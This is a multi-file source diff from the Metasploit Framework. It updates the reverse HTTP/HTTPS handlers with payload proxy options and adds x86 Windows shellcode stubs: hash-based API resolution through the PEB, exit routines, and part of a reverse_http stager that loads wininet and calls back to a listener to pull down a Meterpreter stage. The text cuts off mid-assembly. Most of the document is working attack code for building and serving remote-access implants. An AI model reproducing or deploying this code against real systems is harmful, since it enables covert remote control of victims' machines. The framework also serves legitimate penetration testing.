if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
|
||||
callback_host = req.headers['Host']
|
||||
elsif ipv6?
|
||||
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
|
||||
else
|
||||
callback_host = datastore['LHOST']
|
||||
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
end
|
||||
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
|
||||
"#{scheme}://#{callback_host}/"
|
||||
end
|
||||
|
||||
# Use the {#refname} to determine whether this handler uses SSL or not
|
||||
|
@ -155,6 +153,7 @@ module ReverseHttp
|
|||
'VirtualDirectory' => true)
|
||||
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
lookup_proxy_settings
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -172,6 +171,45 @@ module ReverseHttp
|
|||
|
||||
protected
|
||||
|
||||
#
|
||||
# Parses the proxy settings and returns a hash
|
||||
#
|
||||
def lookup_proxy_settings
|
||||
info = {}
|
||||
return @proxy_settings if @proxy_settings
|
||||
|
||||
if datastore['PayloadProxyHost'].to_s == ""
|
||||
@proxy_settings = info
|
||||
return @proxy_settings
|
||||
end
|
||||
|
||||
info[:host] = datastore['PayloadProxyHost'].to_s
|
||||
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
|
||||
info[:type] = datastore['PayloadProxyType'].to_s
|
||||
|
||||
uri_host = info[:host]
|
||||
|
||||
if Rex::Socket.is_ipv6?(uri_host)
|
||||
uri_host = "[#{info[:host]}]"
|
||||
end
|
||||
|
||||
info[:info] = "#{uri_host}:#{info[:port]}"
|
||||
|
||||
if info[:type] == "SOCKS"
|
||||
info[:info] = "socks=#{info[:info]}"
|
||||
else
|
||||
info[:info] = "http://#{info[:info]}"
|
||||
if datastore['PayloadProxyUser'].to_s != ""
|
||||
info[:username] = datastore['PayloadProxyUser'].to_s
|
||||
end
|
||||
if datastore['PayloadProxyPass'].to_s != ""
|
||||
info[:password] = datastore['PayloadProxyPass'].to_s
|
||||
end
|
||||
end
|
||||
|
||||
@proxy_settings = info
|
||||
end
|
||||
|
||||
#
|
||||
# Parses the HTTPS request
|
||||
#
|
||||
|
@ -186,7 +224,7 @@ protected
|
|||
case uri_match
|
||||
when /^\/INITPY/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + '/'
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
@ -201,8 +239,8 @@ protected
|
|||
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||
|
||||
unless datastore['PROXYHOST'].blank?
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
unless datastore['PayloadProxyHost'].blank?
|
||||
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
|
||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
|
@ -221,7 +259,7 @@ protected
|
|||
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
@ -249,27 +287,30 @@ protected
|
|||
|
||||
when /^\/A?INITM?/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
blob = obj.stage_payload
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
@ -288,13 +329,13 @@ protected
|
|||
# Grab the checksummed version of CONN from the payload's request.
|
||||
conn_id = req.relative_resource.gsub("/", "")
|
||||
|
||||
print_status("Incoming orphaned session #{conn_id}, reattaching...")
|
||||
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => payload_uri + conn_id + "/\x00",
|
||||
:url => payload_uri(req) + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
|
|
|
@ -76,8 +76,11 @@ module Msf
|
|||
# Create a URI that matches a given checksum
|
||||
#
|
||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
||||
# @param len [Fixnum] An optional length value for the created URI
|
||||
# @return [String] The URI string that checksums to the given value
|
||||
def generate_uri_checksum(sum)
|
||||
def generate_uri_checksum(sum,len=nil)
|
||||
return generate_uri_checksum_with_length(sum, len) if len
|
||||
|
||||
chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
|
||||
32.times do
|
||||
uri = Rex::Text.rand_text_alphanumeric(3)
|
||||
|
@ -90,6 +93,35 @@ module Msf
|
|||
return URI_CHECKSUM_PRECALC[sum]
|
||||
end
|
||||
|
||||
# Create an arbitrary length URI that matches a given checksum
|
||||
#
|
||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
||||
# @param len [Fixnum] The length of the created URI
|
||||
# @return [String] The URI string that checksums to the given value
|
||||
def generate_uri_checksum_with_length(sum, len)
|
||||
# Lengths shorter than 4 bytes are unable to match all possible checksums
|
||||
# Lengths of exactly 4 are relatively slow to find for high checksum values
|
||||
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
|
||||
raise ArgumentError, "Length must be 5 bytes or greater" if len < 5
|
||||
|
||||
# Funny enough, this was more efficient than calculating checksum offsets
|
||||
if len < 40
|
||||
loop do
|
||||
uri = Rex::Text.rand_text_alphanumeric(len)
|
||||
return uri if Rex::Text.checksum8(uri) == sum
|
||||
end
|
||||
end
|
||||
|
||||
# The rand_text_alphanumeric() method becomes a bottleneck at around 40 bytes
|
||||
# Calculating a static prefix flattens out the average runtime for longer URIs
|
||||
prefix = Rex::Text.rand_text_alphanumeric(len-20)
|
||||
|
||||
loop do
|
||||
uri = prefix + Rex::Text.rand_text_alphanumeric(20)
|
||||
return uri if Rex::Text.checksum8(uri) == sum
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -43,7 +43,8 @@ module ReverseHttps
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
|
||||
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
|
||||
], Msf::Handler::ReverseHttps)
|
||||
|
||||
end
|
||||
|
|
|
@ -40,11 +40,11 @@ module ReverseHttpsProxy
|
|||
[
|
||||
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
|
||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
|
||||
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
|
||||
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
|
||||
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
|
||||
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
|
||||
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
|
||||
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
|
||||
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
|
||||
], Msf::Handler::ReverseHttpsProxy)
|
||||
|
||||
register_advanced_options(
|
||||
|
|
|
@ -159,6 +159,36 @@ class Payload < Msf::Module
|
|||
(@staged or payload_type == Type::Stager or payload_type == Type::Stage)
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns an optional cached size value
|
||||
#
|
||||
def self.cached_size
|
||||
csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil
|
||||
csize == :dynamic ? nil : csize
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns whether the payload generates variable-sized output
|
||||
#
|
||||
def self.dynamic_size?
|
||||
csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil
|
||||
csize == :dynamic
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns an optional cached size value
|
||||
#
|
||||
def cached_size
|
||||
self.class.cached_size
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns whether the payload generates variable-sized output
|
||||
#
|
||||
def dynamic_size?
|
||||
self.class.dynamic_size?
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the payload's size. If the payload is staged, the size of the
|
||||
# first stage is returned.
|
||||
|
@ -281,6 +311,13 @@ class Payload < Msf::Module
|
|||
internal_generate
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the payload and returns the raw buffer to the caller,
|
||||
# handling any post-processing tasks, such as prepended code stubs.
|
||||
def generate_complete
|
||||
apply_prepends(generate)
|
||||
end
|
||||
|
||||
#
|
||||
# Substitutes variables with values from the module's datastore in the
|
||||
# supplied raw buffer for a given set of named offsets. For instance,
|
||||
|
@ -435,6 +472,13 @@ class Payload < Msf::Module
|
|||
return nops
|
||||
end
|
||||
|
||||
#
|
||||
# A placeholder stub, to be overriden by mixins
|
||||
#
|
||||
def apply_prepends(raw)
|
||||
raw
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Event notifications.
|
||||
|
@ -500,6 +544,12 @@ class Payload < Msf::Module
|
|||
#
|
||||
attr_accessor :assoc_exploit
|
||||
|
||||
#
|
||||
# The amount of space available to the payload, which may be nil,
|
||||
# indicating that the smallest possible payload should be used.
|
||||
#
|
||||
attr_accessor :available_space
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
@ -552,6 +602,8 @@ protected
|
|||
when ARCH_X64 then Metasm::X86_64.new
|
||||
when ARCH_PPC then Metasm::PowerPC.new
|
||||
when ARCH_ARMLE then Metasm::ARM.new
|
||||
when ARCH_MIPSLE then Metasm::MIPS.new(:little)
|
||||
when ARCH_MIPSBE then Metasm::MIPS.new(:big)
|
||||
else
|
||||
elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}")
|
||||
elog("Call stack:\n#{caller.join("\n")}")
|
||||
|
|
|
@ -91,9 +91,7 @@ module Msf::Payload::Linux
|
|||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def generate(*args)
|
||||
# Call the real generator to get the payload
|
||||
buf = super(*args)
|
||||
def apply_prepends(buf)
|
||||
pre = ''
|
||||
app = ''
|
||||
|
||||
|
|
|
@ -38,9 +38,11 @@ module Msf::Payload::Windows
|
|||
'none' => 0x5DE2C5AA, # GetLastError
|
||||
}
|
||||
|
||||
|
||||
def generate
|
||||
return prepends(super)
|
||||
#
|
||||
# Implement payload prepends for Windows payloads
|
||||
#
|
||||
def apply_prepends(raw)
|
||||
apply_prepend_migrate(raw)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -150,5 +152,12 @@ module Msf::Payload::Windows
|
|||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Share the EXITFUNC mappings with other classes
|
||||
#
|
||||
def self.exit_types
|
||||
@@exit_types.dup
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,112 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Basic block_api stubs for Windows ARCH_X86 payloads
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::BlockApi
|
||||
|
||||
def asm_block_api(opts={})
|
||||
|
||||
raw = %q^
|
||||
|
||||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||
mov edx, [fs:eax+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov ecx, [edx+60] ; Get PE header
|
||||
|
||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
|
||||
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||
add ecx, edx ; Add the modules base address
|
||||
push ecx ; Save the current modules EAT
|
||||
mov ebx, [ecx+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov ecx, [ecx+24] ; Get the number of function names
|
||||
; now ecx returns to its regularly scheduled counter duties
|
||||
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
|
||||
get_next_mod: ;
|
||||
pop edi ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp.i8 next_mod ; Process this module
|
||||
^
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,79 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows'
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Implements arbitrary exit routines for Windows ARCH_X86 payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::Exitfunk
|
||||
|
||||
def asm_exitfunk(opts={})
|
||||
|
||||
asm = "exitfunk:\n"
|
||||
|
||||
case opts[:exitfunk]
|
||||
|
||||
when 'seh'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']}
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; SetUnhandledExceptionFilter(0)
|
||||
push.i8 0
|
||||
ret ; Return to NULL (crash)
|
||||
^
|
||||
|
||||
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
|
||||
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
|
||||
# automatically generate the right code depending on the selected exit method.
|
||||
|
||||
when 'thread'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']}
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl exitfunk_goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
jne exitfunk_goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
exitfunk_goodbye: ; We now perform the actual call to the exit function
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; call ExitThread(0) || RtlExitUserThread(0)
|
||||
^
|
||||
|
||||
when 'process', nil
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']}
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; ExitProcess(0)
|
||||
^
|
||||
|
||||
when 'sleep'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')}
|
||||
push 300000 ; 300 seconds
|
||||
push ebx ; push the hash of the function
|
||||
call ebp ; Sleep(300000)
|
||||
jmp exitfunk ; repeat
|
||||
^
|
||||
else
|
||||
# Do nothing and continue after the end of the shellcode
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -34,7 +34,7 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def prepends(buf)
|
||||
def apply_prepend_migrate(buf)
|
||||
pre = ''
|
||||
|
||||
test_arch = [ *(self.arch) ]
|
||||
|
|
|
@ -0,0 +1,432 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S)
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseHttp
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
#
|
||||
# Register reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_http(
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass'],
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_http(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_http(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_http(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri
|
||||
|
||||
uri_req_len = datastore['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_small_uri
|
||||
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Proxy options?
|
||||
space += 200
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [String] :proxy_host The optional proxy server host to use
|
||||
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_http(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
if proxy_enabled
|
||||
if opts[:proxy_type].to_s.downcase == "socks"
|
||||
proxy_info << "socks="
|
||||
else
|
||||
proxy_info << "http://"
|
||||
end
|
||||
|
||||
proxy_info << opts[:proxy_host].to_s
|
||||
if opts[:proxy_port].to_i > 0
|
||||
proxy_info << ":#{opts[:proxy_port]}"
|
||||
end
|
||||
end
|
||||
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
http_open_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
#;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
#;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||
#;0x00800000 | ; INTERNET_FLAG_SECURE
|
||||
#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
#;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||
http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
|
||||
else
|
||||
#;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
#;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
|
||||
call get_proxy_server
|
||||
db "#{proxy_info}", 0x00
|
||||
get_proxy_server:
|
